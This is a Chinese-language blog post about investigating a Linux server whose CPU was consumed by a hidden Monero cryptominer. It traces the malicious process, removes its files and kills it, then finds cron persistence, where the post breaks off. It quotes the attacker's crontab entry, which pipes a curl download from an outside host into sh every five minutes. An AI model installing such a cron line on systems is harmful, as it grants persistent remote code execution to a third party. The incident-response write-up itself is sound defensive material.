Linux服务器中招挖矿矿机程序导致系统CPU资源耗尽的排查过程 _Linux服务器

何为挖矿，这里稍微普及一下：所谓”挖矿”实质上是用计算机解决一项复杂的数学问题，是用于赚取比特币的一个程序，挖矿是消耗计算资源来处理交易，确保网络安全以及保持网络中每个人的信息同步的过程。可以理解为是比特币的数据中心，区别在于其完全是去中心化的设计，矿工在世界各国进行操作，没有人可以对网络具有控制权。这个过程因为同淘金类似而被称为“挖矿” 。
任何人都可以在专门的硬件上运行软件程序而成为比特币矿工。挖矿软件通过P2P网络监听交易广播，执行任务以处理并确认这些交易。比特币矿工完成这些工作后，就有机会获取一定量的比特币作为赏金，但是付出的代价是需要大量的计算资源，挖矿软件依据特定算法，执行大量的计算，会大量占据cpu，导致系统卡顿，严重的直接瘫痪。
这几年比特币价格一路飙升，现在大家玩比特币挖矿的太多了，但多数都是用矿机或者显卡完成计算，而实际上最初比特币的挖矿是用电脑的CPU来进行的，虽然现在CPU的计算力远远落后于显卡和矿机，但并不是说不能用CPU来挖矿了，用CPU挖矿的软件很多，其中最有名的就是XMR，门罗，XMR是一个比特币挖矿程序，能够运行在服务器上挖矿，并大量消耗CPU资源。
下面这个案例就跟这个挖坑程序有关，请听我徐徐道来。
最先是接到客户的电话，说业务系统运行缓慢，完全无法使用了，要了解本质的东西，必须要“深入虎穴”，先登录服务器，看看整个系统的运行状态，再做进一步的判断。top命令执行后，截图如下：

文章插图

从图中可以看出，系统的平均负载高的离奇，发现都在1000以上了，有非常多的名为sh的进程，这些进程消耗了大量CPU资源，并且这个sh进程还是通过root用户启动的，并且已经启动了很长时间了。
既然已经发现了pid进程号，那么就通过进程号查起，可通过如下命令查看进程对应的启动文件：
#ll /proc/pid -- 可以罗列出相关的文件及目录来执行一下这个命令：
[root@oa228 ~]# ll /proc/35796/exe lrwxrwxrwx. 1 root root 0 9月 25 10:06 /proc/35796/exe -> /usr/lib/.cache/sh果然，发现了35796这个进程对应的可执行文件，他对应的文件是/usr/lib/.cache/sh，一看这个路径，就觉得肯定有问题，无缘无故，为啥在/usr/lib下创建了一个隐藏目录，这不符合常理，既然是隐藏目录，肯定有问题，来这个目录看看，果然有重大发现：

文章插图

打开其中一个可疑文件pools.txt

文章插图
【Linux服务器中招挖矿矿机程序导致系统CPU资源耗尽的排查过程】
可明显的看到这是一个挖矿程序在运行，里面显出了currency:monero7币种类型（xmr门罗币），pool_address矿池地址，wallet_address钱包址等等。采用CryptoNight算法的代表币种就是Monero，即XMR，门罗。这个是门罗币老算法，适合CPU服务器挖矿，显卡矿机挖矿。哪怕是低端办公用的I3处理器也拥有4Mb以上的三级缓存，能够用于这个算法计算。
再来看一个文件config.json

文章插图

果然被挖矿了，如何解决呢，首先找到挖矿程序运行的所在目录后，直接清除掉即可，诸如如下目录：
#rm -rf /usr/lib/.cache最后，删除掉程序目录后，中止对应进程
#kill -9 PID PID2 PID3你以为这样就完事大吉了吗，错了，清理后，果然，在清除挖矿程序的5分钟后，又发现sh进程启动起来了。
根据一个老鸟运维的经验，感觉应该是crontab里面被写入了定时任务。于是，下面开始检查系统的crontab文件的内容。
linux下有系统级别的crontab和用户级别的crontab，用户级别下的crontab定义后，会在/var/spool/cron目录下创建对应用户的计划任务脚本，而系统级别下的crontab，可以直接查看/etc/crontab文件。
首先查看 /var/spool/cron目录，查询一下系统中是否有异常的用户计划任务脚本程序。如下图所示：
[root@localhost cron]# ll /var/spool/cron/total 4drwxr-xr-x 2 root root 6 Oct 18 19:01 crontabs-rw------- 1 root root 80 Oct 18 19:04 root[root@localhost cron]# cat /var/spool/cron/root*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh[root@localhost cron]# cat /var/spool/cron/crontabs/root*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh